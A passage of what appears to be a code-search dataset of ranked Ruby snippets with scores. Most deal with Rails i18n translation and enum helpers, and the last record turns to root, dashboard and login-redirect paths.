"0.6049124", "text": "def to_i18n\n id = @namespace.consume_id!\n @namespace.ids[id] = content_gettext\n output = \"t(:%s, %s%s)\"\n if vars = self.variables\n vars.map! {|var| \":%s => %s\" % [var[:name], var[:value]]}\n vars = vars.join(', ') + ', '\n end\n return output % [id, vars, @namespace.to_i18n_scope]\n end", "title": "" }, { "docid": "bbffcbf5c1e1b414732f1bb95a330860", "score": "0.60464644", "text": "def enum_name(key, value)\n options = value(key).options\n options[value]\n end", "title": "" }, { "docid": "b336f6456cb75d000acd4fd29e69fb7b", "score": "0.60344726", "text": "def message\n key.is_a?(Symbol) ? I18n.t(key, **tags) : key.to_s\n end", "title": "" }, { "docid": "c0acdb4c9a43725c6f1f99a525a1af94", "score": "0.6030137", "text": "def enum_key()\n\t\treturn self.client.sys.registry.enum_key(self.hkey)\n\tend", "title": "" }, { "docid": "1f8c874a378078d7dac44192cc480533", "score": "0.6012188", "text": "def enum_for(key)\n enums[key]\n end", "title": "" }, { "docid": "33063ec6187f9b373da95f52e3cca606", "score": "0.6004243", "text": "def field_label *i18n_keys, **options\n first, *rest = i18n_keys.compact\n\n I18n.t(first, default: rest, **options)\n end", "title": "" }, { "docid": "33063ec6187f9b373da95f52e3cca606", "score": "0.6004243", "text": "def field_label *i18n_keys, **options\n first, *rest = i18n_keys.compact\n\n I18n.t(first, default: rest, **options)\n end", "title": "" }, { "docid": "c30c67b2e5cffa508eccf2fb220b8404", "score": "0.60030925", "text": "def route_key\n i18n_key.en.plural\n end", "title": "" }, { "docid": "1fcec63f071fbb6f7c16ff1150ac9aea", "score": "0.5940099", "text": "def to_s\n if @value == Enum.ENUM_VALUE_0\n return 'ENUM_VALUE_0'\n end\n if @value == Enum.ENUM_VALUE_1\n return 'ENUM_VALUE_1'\n end\n if @value == Enum.ENUM_VALUE_2\n return 'ENUM_VALUE_2'\n end\n if @value == Enum.ENUM_VALUE_3\n return 'ENUM_VALUE_3'\n end\n if @value == Enum.ENUM_VALUE_4\n return 'ENUM_VALUE_4'\n end\n if @value == Enum.ENUM_VALUE_5\n return 'ENUM_VALUE_5'\n end\n '<unknown>'\n end", "title": "" }, { "docid": "1fcec63f071fbb6f7c16ff1150ac9aea", "score": "0.5940099", "text": "def to_s\n if @value == Enum.ENUM_VALUE_0\n return 'ENUM_VALUE_0'\n end\n if @value == Enum.ENUM_VALUE_1\n return 'ENUM_VALUE_1'\n end\n if @value == Enum.ENUM_VALUE_2\n return 'ENUM_VALUE_2'\n end\n if @value == Enum.ENUM_VALUE_3\n return 'ENUM_VALUE_3'\n end\n if @value == Enum.ENUM_VALUE_4\n return 'ENUM_VALUE_4'\n end\n if @value == Enum.ENUM_VALUE_5\n return 'ENUM_VALUE_5'\n end\n '<unknown>'\n end", "title": "" }, { "docid": "d1601b988f66f1c49389323afa8b1e5b", "score": "0.59150124", "text": "def tc(k)\n I18n.t(\"#{controller_name}.#{action_name}.#{k}\")\n end", "title": "" }, { "docid": "bfe3d1094dd1b315f6a9a51b3acf6e6b", "score": "0.5910356", "text": "def i18n_id\n name.split(\"::\").map{|c| c.underscore}.join(\".\")\n end", "title": "" }, { "docid": "b7a02f77eb4f579c748348bc97aebd42", "score": "0.5891381", "text": "def enum_collection(instance, enum)\n instance.class.send(enum.to_s.pluralize).keys.to_a.map do |key|\n [I18n.t(\"activerecord.attributes.#{instance.model_name.i18n_key}.#{key}\"), key]\n end\n end", "title": "" }, { "docid": "b928f50917d77f1f3327d5eea24a9edc", "score": "0.5878045", "text": "def translated_recurrence_name\n I18n.t(\"db_enum.recurrence_periods.#{self.name}\")\n end", "title": "" }, { "docid": "3c4216b1ba2733f8d2c009aec2ee7666", "score": "0.5859036", "text": "def translate\n I18n.t(self.class.i18n_key(@underscore_class_path, @underscore_label))\n end", "title": "" }, { "docid": "0be228de2971c853c2fe6002867a1914", "score": "0.58439356", "text": "def enum_i( enum_name )\n define_method \"#{enum_name}_i\" do\n self.class.send(\"#{enum_name.to_s.pluralize}\")[send(enum_name)].to_i\n end\n end", "title": "" }, { "docid": "72358a2597aec54f323dfaffad65a859", "score": "0.583974", "text": "def access_level_str\n return @@access_level_map[access_level][:label]\n end", "title": "" }, { "docid": "b2c0084f1049dbbe5cba8e7a25513344", "score": "0.5810032", "text": "def constantize(key)\n Object.const_get(key.capitalize)\n end", "title": "" }, { "docid": "8672d5207df733be18b42ddd2ee2680b", "score": "0.5807147", "text": "def translated_enum_value(attribute)\n translated_enum_value!(attribute)\n rescue LmmlOnRails::MissingTranslationData => e\n e.message\n end", "title": "" }, { "docid": "83132f65b98945a4d79d7489715bd0f2", "score": "0.5801446", "text": "def nls(message_key, options = {})\n options.reverse_merge! :scope => Account.current.account_prefix\n I18n.t(message_key, options).html_safe\n end", "title": "" }, { "docid": "5b9b4ab5184c1f3d7f4930bc829f5e5f", "score": "0.57926136", "text": "def constant(str)\n I18n.t(\"magic_strings.#{str}\", locale: I18n.default_locale)\n end", "title": "" }, { "docid": "ff329ae887a8e5960017f620f619e6d2", "score": "0.57919115", "text": "def action_name_i18n_key\n action_name.chomp('!')\n end", "title": "" }, { "docid": "c560e703d482428b17d11d060a3a1b59", "score": "0.5783976", "text": "def NSLocalizedString(key, value)\n NSBundle.mainBundle.localizedStringForKey(key, value:value, table:nil)\n end", "title": "" }, { "docid": "dd1a894b7999a13ea4d07d7b8c5491c9", "score": "0.5780199", "text": "def hash\n i18n_key.hash\n end", "title": "" }, { "docid": "c972835761bddce1548a8266220f5946", "score": "0.5776323", "text": "def entry_name(key)\n I18n.t key, :scope => [:application_helpers, :entry_names]\n end", "title": "" }, { "docid": "7a271d75cdcf65b6402bfa1ca7984139", "score": "0.57679176", "text": "def enum_i18n_instance_method(name)\n klass = self\n method_name = \"#{name}_i18n\"\n detect_enum_conflict!(name, method_name, false)\n klass.send(:define_method, method_name) do\n status = self.send(name)\n status.nil? ? nil : klass.send(:i18n_string, klass, name, status)\n end\n end", "title": "" }, { "docid": "fb035b7cddd4da2f0ef66e532674eeef", "score": "0.5760069", "text": "def type_human\n #return I18n.t(TYPE_CONST_HASH[type_const]) || \"Unknown\"\n return History.type_to_human(self.type_const) \n end", "title": "" }, { "docid": "19c959fc39115046ac2e3164b7246345", "score": "0.57439184", "text": "def label(rec, attr, enum = nil)\n if !enum\n enum = rec.class.const_get(attr.to_s.camelize)\n raise(NameError, \"wrong constant name #{attr}\") if !enum\n end\n if !@enum_map[enum]\n @enum_map[enum] = {}\n end\n value = rec.attributes[attr.to_s]\n if label = @enum_map[enum][value]\n @hit += 1\n label\n else\n member = enum.constants.detect{|m|\n enum.const_get(m) == value\n }\n @enum_map[enum][value] = \n if member\n @out += 1\n rec.class.human_const_name(enum, member)\n else\n @out_of_enum += 1\n '??'\n end\n end\n end", "title": "" }, { "docid": "02eb02327c518c6cfb88d414f883a9d2", "score": "0.5730137", "text": "def translate_with_resource(key)\n t(\n \"administrate.controller.#{key}\",\n resource: translated_resource\n )\n end", "title": "" }, { "docid": "48a38b2f4846707e3361c7f6601658c1", "score": "0.5706576", "text": "def i18n_short\n \"#{event_type.i18n_short}-#{pool_type.i18n_short}\"\n end", "title": "" }, { "docid": "0763cab3286a945068e5f8e60bfe0db4", "score": "0.5695811", "text": "def human_attribute_name model, attr\n I18n.translate attr, scope: [:activerecord, :attributes, model.model_name.i18n_key]\n end", "title": "" }, { "docid": "512051305c43413b901b5bc41b6dc533", "score": "0.5693575", "text": "def vocab_value_human_name(model_class:, attribute_name:, value:)\n if value.blank?\n value\n elsif model_class.respond_to?(:model_name)\n I18n.t(value,\n scope: \"activemodel.enum_values.#{model_class.model_name.i18n_key}.#{attribute_name}\",\n default: value.humanize)\n else\n value.humanize\n end\n end", "title": "" }, { "docid": "bee17638a70a74ca47424ffd26660d39", "score": "0.5691518", "text": "def i18n_short\n I18n.t(\"i18n_short_#{code}\".to_sym, scope: [self.class.get_scope_sym])\n end", "title": "" }, { "docid": "f7906ad1925f703998ffd1ab52bd1bad", "score": "0.5684763", "text": "def t(key, options={})\n I18n::translate(key, options)\nend", "title": "" }, { "docid": "1099832ec2b12d21d2c530b1f6509b57", "score": "0.5683672", "text": "def i18n_keys(true_or_false)\n i18n_path_keys.map do |i18n_path_key|\n (i18n_path_key.to_s + '.' + true_or_false.to_b.to_s).to_sym\n end\n end", "title": "" }, { "docid": "8f138e30f40b8d97256fcbffa1c81452", "score": "0.56742823", "text": "def translate(key)\n $messages[$language][key.to_s]\nend", "title": "" }, { "docid": "1d6336d385ec7f66688c5fa977cd6c8f", "score": "0.56646186", "text": "def language_label\n\t\tlabel = self.object.language.key.dup.capitalize\n\t\tlabel << (( self.object.language.is_other? ) ? ' (not eligible)' : ' (eligible)')\n\tend", "title": "" }, { "docid": "18989ee8877de86a4849759577a0193c", "score": "0.566", "text": "def status_symbol_txt\n return I18n.t('activerecord.attributes.mission.' + status_symbol)\n end", "title": "" }, { "docid": "e57c820ec1411190e9f3e56ff809a9b2", "score": "0.56506234", "text": "def build_from_hash(value)\n constantValues = Office365BuiltinTranslation.constants.select{|c| Office365BuiltinTranslation::const_get(c) == value}\n raise \"Invalid ENUM value #{value} for class #Office365BuiltinTranslation\" if constantValues.empty?\n value\n end", "title": "" }, { "docid": "af0502ce59333a2e8cd408f903996930", "score": "0.5648211", "text": "def name\n self[\"name_#{I18n.locale}\"]\n end", "title": "" }, { "docid": "4b48925cecdfe41765b75ec631b56721", "score": "0.56478775", "text": "def translated_role\n I18n.t( role, :scope => :roles )\n end", "title": "" }, { "docid": "73347bf3b3ba8c8c8a38e5c1ade7576d", "score": "0.56451035", "text": "def t(key, params = {})\n params = params.dup\n params.reverse_merge!(scope: self.class.i18n_scope)\n context.t(key, params)\n end", "title": "" }, { "docid": "4085950eb29df7b4dec62f71af6e660d", "score": "0.5639372", "text": "def v(key)\n t(key,\n scope: \"view.#{controller_path}\",\n default: I18n.t(key,\n scope: \"edgarj.view.#{controller_path}\",\n default: I18n.t(key,\n scope: 'edgarj.default',\n default: key.camelize)))\n end", "title": "" }, { "docid": "d9de2d5f3c851bebce1b830305aa6df4", "score": "0.5624509", "text": "def translation_choice_name(key)\n key.sub('-', '_').downcase\n end", "title": "" }, { "docid": "7c72796b0fabe3720bdd32bdfe313d40", "score": "0.5615575", "text": "def lang_id_view\n return Mokio::Lang.find(self.lang_id).name unless self.lang_id.nil?\n return I18n.t('backend.all') if self.lang_id.nil?\n end", "title": "" }, { "docid": "8f59a734cb9c736d0603e173c4c7516e", "score": "0.56114537", "text": "def icontext(key)\n icon = key.to_s\n case key\n when :record then icon = 'microphone'\n when :overwrite then icon = 'microphone'\n end\n key_i18n = t(\".#{key}\")\n fa_icon(icon)+' '+key_i18n\n end", "title": "" }, { "docid": "0fc9982bef89c1c6e10e722f369fd94a", "score": "0.56080234", "text": "def type_symbol_txt\n return I18n.t('activerecord.attributes.item_info.' + type_symbol)\n end", "title": "" }, { "docid": "4066a649478ea921cbc58be139cb5585", "score": "0.55981684", "text": "def state_str(state)\n const = constants.find {|const_name| const_get(const_name) == state }\n const ? const.to_s : nil\n end", "title": "" }, { "docid": "4ec294a202b333de1f5c1897e5a446e4", "score": "0.55953854", "text": "def enum_options_for_select(class_name, enum)\n class_name.send(enum.to_s.pluralize).map do |key, _|\n [enum_i18n(class_name, enum, key), key]\n end\n end", "title": "" }, { "docid": "200d42c72f9253a71a4429dbfbd90ba2", "score": "0.55831224", "text": "def model_attribute_translate(model, attribute)\n t(\"models.#{model}.#{attribute}\", :default => attribute.to_s.humanize)\n end", "title": "" }, { "docid": "288d5685608b57e7b1b89ecf7526bf6d", "score": "0.55823493", "text": "def localized_key(name, serializer)\n serializer && serializer.localized? ? \"#{name}.#{::I18n.locale}\" : name\n end", "title": "" }, { "docid": "e374a6d030f06da1eea2056cd0c4ceba", "score": "0.55607444", "text": "def i18n_prefix\n self.class.i18n_prefix\n end", "title": "" }, { "docid": "c0c01ed110df23defc7c04bc695e8768", "score": "0.55557346", "text": "def i18n_lookup(key, options = {})\n options[:scope] = [:settings, :global, self.name]\n options[:scope] = [:settings, self.assignable.class.to_s.underscore, self.name] unless SettingAccessors::Internal.globally_defined_setting?(self.name)\n I18n.t(key, options)\n end", "title": "" }, { "docid": "907d787b9a7ff67b7ae59d22d15fe049", "score": "0.5555413", "text": "def hierarchical_translate(key, options={})\n\n options = {\n :scope => controller_path.gsub('/', '.') + '.' + action_name,\n :default => t(\"application.#{action_name}.#{key}\",\n {\n :human_name => record_class.model_name.human,\n :plural_human_name => record_class.model_name.human.pluralize\n }.merge(options))\n }.merge(options)\n\n t(key, options)\n\n end", "title": "" }, { "docid": "06b17c17a4a684e39cecb9d2f41f734b", "score": "0.55524623", "text": "def new_enumlabels(enum_type, old_value, new_value = nil)\n enumlabels = ActiveRecord::Base.connection.execute <<-SQL\n SELECT enumlabel from pg_enum\n WHERE enumtypid=(\n SELECT oid FROM pg_type WHERE typname='#{enum_type}'\n )\n ORDER BY enumsortorder;\n SQL\n enumlabels = enumlabels.map { |e| \"'#{e[\"enumlabel\"]}'\" } - [\"'#{old_value}'\"]\n enumlabels << \"'#{new_value}'\" if new_value\n enumlabels.uniq.join(\", \").chomp(\", \")\n end", "title": "" }, { "docid": "ce797d22616447ef3f0395d9bb2f0c81", "score": "0.5537652", "text": "def icon\n key, = expand_i18n_keys 'icons', suffix: '_html'\n t key\n end", "title": "" }, { "docid": "cc78e70e170e4a708086d4af2c21516c", "score": "0.5534829", "text": "def model_attribute_translate(model, attribute)\n t(\"models.#{model}.attributes.#{attribute}\", :default => attribute.to_s.humanize)\n end", "title": "" }, { "docid": "cc78e70e170e4a708086d4af2c21516c", "score": "0.5534829", "text": "def model_attribute_translate(model, attribute)\n t(\"models.#{model}.attributes.#{attribute}\", :default => attribute.to_s.humanize)\n end", "title": "" }, { "docid": "cc78e70e170e4a708086d4af2c21516c", "score": "0.5534829", "text": "def model_attribute_translate(model, attribute)\n t(\"models.#{model}.attributes.#{attribute}\", :default => attribute.to_s.humanize)\n end", "title": "" }, { "docid": "3057f41f64ec5b9ffaa1c5ae09c7ea5b", "score": "0.5529", "text": "def model_translate(model)\n t(\"models.#{model}.name\", :default => model.to_s.humanize)\n end", "title": "" }, { "docid": "37c246278b0cb2fcb335fc9919fb6bda", "score": "0.5528367", "text": "def category_symbol_txt\n return I18n.t('activerecord.attributes.mission.' + category_symbol)\n end", "title": "" }, { "docid": "c005ca4426a13b170b7cd146f48437ae", "score": "0.55257344", "text": "def translated_attr_name(attr_name)\n \"#{attr_name}_translations\"\n end", "title": "" }, { "docid": "e11ce872861eeb3579e9576d75bc9a7a", "score": "0.55217546", "text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}.#{key}\", :scope => [:devise, :mailer], :default => key)\n end", "title": "" }, { "docid": "e11ce872861eeb3579e9576d75bc9a7a", "score": "0.55217546", "text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}.#{key}\", :scope => [:devise, :mailer], :default => key)\n end", "title": "" }, { "docid": "3b9ec5b51ce99814868d08c17eeef4a1", "score": "0.5518381", "text": "def translate(key)\n I18n.t key,\n raise: true\n rescue\n nil\n end", "title": "" }, { "docid": "80bef4bad27f63dbc2ecbd8826b7178f", "score": "0.55105394", "text": "def enum_i18n_class_method(name, values)\n klass = self\n method_name = \"#{name.to_s.pluralize}_i18n\"\n detect_enum_conflict!(name, method_name, true)\n klass.singleton_class.send(:define_method, method_name) do |&block|\n i18n_hash = ActiveSupport::HashWithIndifferentAccess.new\n values.each_with_object(i18n_hash) do |(enum_name, value), ret|\n next if block.present? && !block.call(value)\n ret[enum_name] = i18n_string(klass, name, enum_name)\n end\n end\n end", "title": "" }, { "docid": "a4fb753c5076cda7a1451f3d1f9063e8", "score": "0.5500122", "text": "def model_translate(model)\n t(\"models.#{model}.name\", :default => model.to_s.humanize)\n end", "title": "" }, { "docid": "f9a3f38d1559ac675cc095faa2f6c9f7", "score": "0.5495367", "text": "def localized_snippet(key = nil)\n snippet(\"#{I18n.locale}.#{key}\")\n end", "title": "" }, { "docid": "fa87d9bf62d0c45d85dc74e8d43ff600", "score": "0.5481082", "text": "def localized_key(name, serializer)\n serializer&.localized? ? \"#{name}.#{::Mongoid::Fields::I18n.locale}\" : name\n end", "title": "" }, { "docid": "226932acbc5602465671d9360c957f41", "score": "0.5480276", "text": "def read_i18n_attribute attr_name\n attr = read_attribute(attr_name)\n t = I18n.translate(\"activerecord.symbolizes.#{self.class.model_name.to_s.underscore}.#{attr_name}.#{attr}\") #.to_sym rescue nila\n t.is_a?(Hash) ? nil : t\n end", "title": "" }, { "docid": "8b8c4c4a48c2806b4c95956c4fa4a445", "score": "0.5478405", "text": "def i18n_message(locale = nil)\n if defined?(I18n.translate)\n case locale\n when Hash\n I18n.translate(i18n_key, @i18n_params.merge(locale))\n when nil\n @i18n_message ||= I18n.translate(i18n_key, @i18n_params).freeze\n else\n I18n.translate(i18n_key, @i18n_params.merge(locale: locale))\n end\n else\n @i18n_message ||= [ i18n_key, @i18n_params ].freeze\n end\n end", "title": "" } ]
6077b014d2b205abebf20e2a9b1c2fe8
This is the root path in the application Logged in users will see their dashboard, people who arn't logged in will see a blurb on Roomie, and be prompted to signup or login.
[ { "docid": "a8064ec7e9e51a564ecec866cf38cfa7", "score": "0.0", "text": "def index\n\t\tif current_dwelling\n\t\t\t# Show the users dashboard\n\t\t\t@messages = current_dwelling.messages.newest\n\t\t\trender :dashboard\n\t\telsif current_user\n # The user is logged in, but not a member of a \n # dwelling, prompt them to join a dwelling\n render :join_dwelling\n\t\telse\n # The user is not logged in, tell them about the \n # application, and ask them to signup, or login\n @user = User.new\n render :signup\n\t\tend\n end", "title": "" } ]
[ { "docid": "2d14a9e3a740e1cb272265c6767904bf", "score": "0.7749678", "text": "def user_root_path\n hyrax.dashboard_path\n end", "title": "" }, { "docid": "2d14a9e3a740e1cb272265c6767904bf", "score": "0.7749678", "text": "def user_root_path\n hyrax.dashboard_path\n end", "title": "" }, { "docid": "d98f5a5f9d9133fdd1d1307daa43137f", "score": "0.7251372", "text": "def path; root? ? boot_path : user_path end", "title": "" }, { "docid": "ae4247f3e7a04ae9cdcc23c62da46899", "score": "0.7098002", "text": "def path\n if root?\n boot_path\n else\n user_path\n end\n end", "title": "" }, { "docid": "8950f17dd81fa185c9f1794c979855b5", "score": "0.6979023", "text": "def user_root_path\n root_path\n end", "title": "" }, { "docid": "f8c8d2e98d6c1231c0fead070c3c6c6a", "score": "0.6876315", "text": "def user_root_path\n if ediofy?\n ediofy_root_path\n else\n ediofy_root_path\n end\n end", "title": "" }, { "docid": "824a9dde5901e389326e968f298094aa", "score": "0.68404937", "text": "def home\n session[:aspect] = nil\n session[:biz] = nil\n if signed_in?\n if current_user.account == 2\n @path = jobseeker_home_path\n elsif current_user.account == 3\n @path = officer_home_path \n elsif current_user.account == 4\n @path = employee_home_path\n else \n @path = user_home_path\n end\n \n if current_user.admin?\n if session[:admin_off] == nil\n redirect_to admin_path\n else\n redirect_to @path\n end\n else \n redirect_to @path\n end\n else\n @title = \"Home\"\n end\n end", "title": "" }, { "docid": "0c3497145dac34f1ad5a8cabd8aa113c", "score": "0.6768719", "text": "def root\n admin\n end", "title": "" }, { "docid": "82106d407b8a20b91c01ac3cb0810b8d", "score": "0.6716813", "text": "def root_path; return \"\"; end", "title": "" }, { "docid": "f7aed57441c0170a50f28a08a243717e", "score": "0.6703679", "text": "def home_page\n\t\tif(current_user)\n\t\t\tredirect_to \"/dashboard\"\n\t\telse\n\t\t\tredirect_to \"/home\"\n\t\tend\n\tend", "title": "" }, { "docid": "24dbc628d1a3ee8a4e42aa674d2a4cc9", "score": "0.66679484", "text": "def index\n @root = current_user.root\n end", "title": "" }, { "docid": "30a872e3fcc0abad057a2201356c522c", "score": "0.6619248", "text": "def home\n if current_user\n dashboard\n # if current_user.role >= RolesHelper.code('Superuser')\n # users\n # else\n # courses\n # end\n else\n @user = User.new\n render 'users/sessions/new', layout: 'admin'\n end\n end", "title": "" }, { "docid": "206fe9817debda8e4ed7cc1800906fee", "score": "0.6617698", "text": "def home \n if current_user\n redirect_to dashboard_path\n end\n end", "title": "" }, { "docid": "35d337516d8fa7620e70a1723075127a", "score": "0.6571594", "text": "def mnoe_home_path\n MnoEnterprise.router.dashboard_path || main_app.root_path\n end", "title": "" }, { "docid": "ffb321a9a8c6756b23ace560dc2e7e12", "score": "0.65681016", "text": "def user_root_path\n if current_user and current_user.department_ids.size == 1\n \"/departments/#{current_user.department_ids.first}/customers\"\n else\n root_path\n end\n end", "title": "" }, { "docid": "e62afa807f7bf138ea6ec703a5e83c5f", "score": "0.6562089", "text": "def find_root_url\n if session[:user]\n redirect_to :action => \"dashboard\", :controller => \"sessions\"\n else\n redirect_to :action => \"index\", :controller => \"prelogins\"\n end\n end", "title": "" }, { "docid": "6e160536808f8ce50af28a3676b66405", "score": "0.6540691", "text": "def dashboard\n if !current_user\n redirect_to '/users/sign_up', notice: \"Lets get you started with an account\"\n return\n end\n end", "title": "" }, { "docid": "daf1ce68511344b320fec233eb417847", "score": "0.6513657", "text": "def home\n # rimando ad una pagina custom se è stato impostato da file di\n # configurazione\n if login_root = core_getApplicationLoginRoot and login_root\n redirect_to login_root\n end\n end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "058009afc56abc9b64b9d5bb4c295330", "score": "0.64851624", "text": "def root_path; end", "title": "" }, { "docid": "32069735b7d6ed070ce788e8185a5988", "score": "0.64711696", "text": "def home_page\n logged_in? ? current_user : root_path\n end", "title": "" }, { "docid": "39052d0dc58d887099c6e0a3857f5063", "score": "0.6453815", "text": "def home\n render_string \"logged in username: \" +\n \"#{@component.current_user.username}, <a href='/logout'>logout</a>\"\n end", "title": "" }, { "docid": "cb1db02cbd7033e75d5f2ab8e4660975", "score": "0.64326274", "text": "def login_page\n URI.join(app_root, self.config(:login_page))\n end", "title": "" }, { "docid": "f2c233f6aa80ddaf0bad20940c38b5e9", "score": "0.6419203", "text": "def home_directory\n super\n end", "title": "" }, { "docid": "10f96387165e3398f45f93d729b75562", "score": "0.6416348", "text": "def signed_in_root_path(resource_or_scope)\n user_scope?(resource_or_scope) ? dashboard_path : super\n end", "title": "" }, { "docid": "3a8bde9df5019de70e31b3fb28930152", "score": "0.64154404", "text": "def homepage\n if self.is_admin?\n \"/users\"\n elsif self.is_approver?\n \"/questions/approver_index\"\n elsif self.is_writer?\n \"/questions/writer_index\"\n elsif self.is_coach?\n \"/events/new\"\n else\n \"/\"\n end\n end", "title": "" }, { "docid": "7e6fdece0dadadf462da00afaa78658e", "score": "0.6400121", "text": "def root\n if @current_user\n if @current_user.get_company.main_product == \"marketplace\"\n marketplace_path\n elsif @current_user.get_company.main_product == \"pooltool\"\n person_poolTool_path(@current_user.get_company)\n else\n \"#{request.protocol}#{request.host_with_port}/#{params[:locale]}\"\n end\n else\n \"#{request.protocol}#{request.host_with_port}/#{params[:locale]}\"\n end\n end", "title": "" }, { "docid": "94aaa21798f0f22afb37a6c9f9bbc369", "score": "0.63950413", "text": "def visit_dashboard\n ensure_on(root_path)\n end", "title": "" }, { "docid": "6c5920f8378bddff7ed68c4c2f71e390", "score": "0.63767004", "text": "def home\n redirect_to dashboard_path if user_signed_in?\n end", "title": "" }, { "docid": "68c738b36184813ca195731ccef025f3", "score": "0.63721955", "text": "def account_url\n return new_user_session_url unless user_signed_in?\n case current_user.class.name\n when \"Admin\"\n activities_path\n when \"Client\"\n client_path(current_user)\n when \"Operator\"\n trips_path\n else\n root_url\n end if user_signed_in?\n end", "title": "" }, { "docid": "7ebfc37f4684fb22ec0a829b954b8564", "score": "0.6357299", "text": "def after_login_path\n main_app.root_url\n end", "title": "" }, { "docid": "e2d38001053881225c634dbcd676e3e1", "score": "0.63463825", "text": "def base_path\n super.concat '/users'\n end", "title": "" }, { "docid": "6189c65f274506626d6a93fb16632f3b", "score": "0.63450354", "text": "def redirect_root_to_dashboard\n redirect_to WasteCarriersEngine::FeatureToggle.active?(:block_front_end_logins) ? root_path : fo_path\n end", "title": "" }, { "docid": "841d8de56d00187002190f929c64dda5", "score": "0.6338393", "text": "def home_to_dashboard\n redirect_to dashboard_path if current_user\n end", "title": "" }, { "docid": "249146a7edd82b579d78a63781287ebb", "score": "0.63355", "text": "def landing_page\n\t\t\tif self.writer? or self.designer? or self.admin? or self.staff?\n\t\t\t\t\"/admin/pages\"\n \telsif self.leader?\n \t\"/admin/group\"\n elsif self.directory_access?\n \t\"/directory\"\n else\n\t\t\t\t\"/\"\n end\n\t\tend", "title": "" }, { "docid": "968641e53794e3c11f95a25cb09d0a20", "score": "0.63318217", "text": "def user_login\n \"/users/login\"\nend", "title": "" }, { "docid": "a75cb89604a91b683d081db4c0622160", "score": "0.6328081", "text": "def home\n\t\tredirect_to user_path(current_user)\n\tend", "title": "" }, { "docid": "492a419975662e1715c39d41439bf65d", "score": "0.6319615", "text": "def after_sign_in_path_for(_user)\n dashboard_path\n end", "title": "" }, { "docid": "60b01a1c5404832a6da3ba0600026556", "score": "0.6317994", "text": "def get_home_path\n if current_user.nil?\n return \"/\"\n end\n if current_user.is_user?\n profile_path(current_user)\n else\n todo_path(current_user)\n end\n end", "title": "" }, { "docid": "8617fadcd096644ce3476455cd86b1c5", "score": "0.6312168", "text": "def base_path\n super.concat '/accounts'\n end", "title": "" }, { "docid": "65fd23a678e6b0e60e92c26a82e6381b", "score": "0.6308567", "text": "def root_path\n ''\n end", "title": "" }, { "docid": "31b14c8fea80a2ab8d2eddf7241e8a32", "score": "0.62962353", "text": "def successful_login_path\n return bills_path if session['user']['type'] == 'admin'\n\n bill_amounts_path\n end", "title": "" }, { "docid": "3b664ccac492741550cd53154fcb6b22", "score": "0.6293837", "text": "def default_root_path(r)\n signed_in_root_path(r)\n end", "title": "" }, { "docid": "8b1bbdf81ef2e078f31149c98bf30a23", "score": "0.62802106", "text": "def admin_user\n\t \t(root_url) unless current_user.admin?\n\t end", "title": "" }, { "docid": "0fa38e0343b145286952db58e1fadc25", "score": "0.6280103", "text": "def home\n\n if session[:user]\n redirect_to main_index_path\n # @fullname = \"#{current_user.firstname} #{current_user.lastname}\"\n else\n logger.debug \"=======================================\"\n # @fullname = \"Not logged in...\"\n end # this is a bit of a hack since the home action is used to verify user\n # keys, where noone is logged in. We should probably create a unique\n # 'validate_key' action instead.\n end", "title": "" }, { "docid": "1854b51d1b861a2355cacd583639953c", "score": "0.627112", "text": "def dashboardurl\n if current_user.present?\n user_path\n elsif current_dealer.present?\n dealer_path\n elsif current_admin.present?\n admin_path\n end\n end", "title": "" }, { "docid": "1c72ff470b9b3c0a7e773969ff4b62a9", "score": "0.62621087", "text": "def home\n\t\tlogger.info(\"(#{self.class.to_s}) (#{action_name}) -- Entering the admin home page\")\n\t\tsession_check\n\tend", "title": "" }, { "docid": "127363c2009675d19307ddc10590b6a3", "score": "0.6250191", "text": "def homepage\n redirect_if_not_logged_in\n @user = User.find_by_id(session[:user_id])\n redirect_to '/' if !@user\n end", "title": "" }, { "docid": "4eba5d72ec65b157cc0a8d5a5e16902c", "score": "0.62488955", "text": "def redir_from_root\n redirect_to admin_dashboard_path()\n end", "title": "" }, { "docid": "f5823c237c66a9f48699f2a72b9d026c", "score": "0.62477887", "text": "def home\n return \"#{self.name}/home\"\n end", "title": "" }, { "docid": "ac233053acd7f36c9d7dca3ee9ffe82e", "score": "0.6242862", "text": "def user_root_path\n if current_user.has_role? :admin\n topics_path\n else\n root_path\n end\n end", "title": "" }, { "docid": "4e0747bfa66cb2cba1d85a1edc9c6393", "score": "0.62011087", "text": "def after_sign_in_path_for(user)\n \tuser.sa? ? admin_dashboard_path : root_path\n end", "title": "" }, { "docid": "7ee607f36e03151430df83cb498d36e7", "score": "0.61986715", "text": "def user_root\n @config[:user_root]\n end", "title": "" }, { "docid": "59dee9ba0972ed95b44cd4dabaa7fe7b", "score": "0.6196554", "text": "def home_path_for(user)\n case user.role\n when 'admin'\n admin_dashboard_path\n when 'advertiser'\n advertiser_campaigns_path\n #advertiser_dashboard_path\n when 'affiliate'\n #affiliate_dashboard_path\n affiliate_referrals_path\n when 'influencer'\n if user.twitter_linked?\n influencer_profile_path\n else\n link_twitter_influencer_registration_path\n end\n #influencer_dashboard_path\n end\n end", "title": "" }, { "docid": "5d3967801c75d5e16e6e82cc5a0bcb17", "score": "0.6196226", "text": "def client_signed_up_path\n path_from_cookie(:after_account_signed_up_path) || path_from_cookie(:after_client_signed_up_path) || programmers_path\n end", "title": "" }, { "docid": "a90a7f19ec93615e4257a63be281d8ad", "score": "0.6189712", "text": "def after_signin_path\n \"/\"\n end", "title": "" }, { "docid": "831307f7a6f9a51f5eea1069574cbb78", "score": "0.6189584", "text": "def base_path\n super.concat \"/accounts/#{account['id']}/applications\"\n end", "title": "" }, { "docid": "8bbb2ed9442f95a7a07bbc6db8d08140", "score": "0.61787784", "text": "def 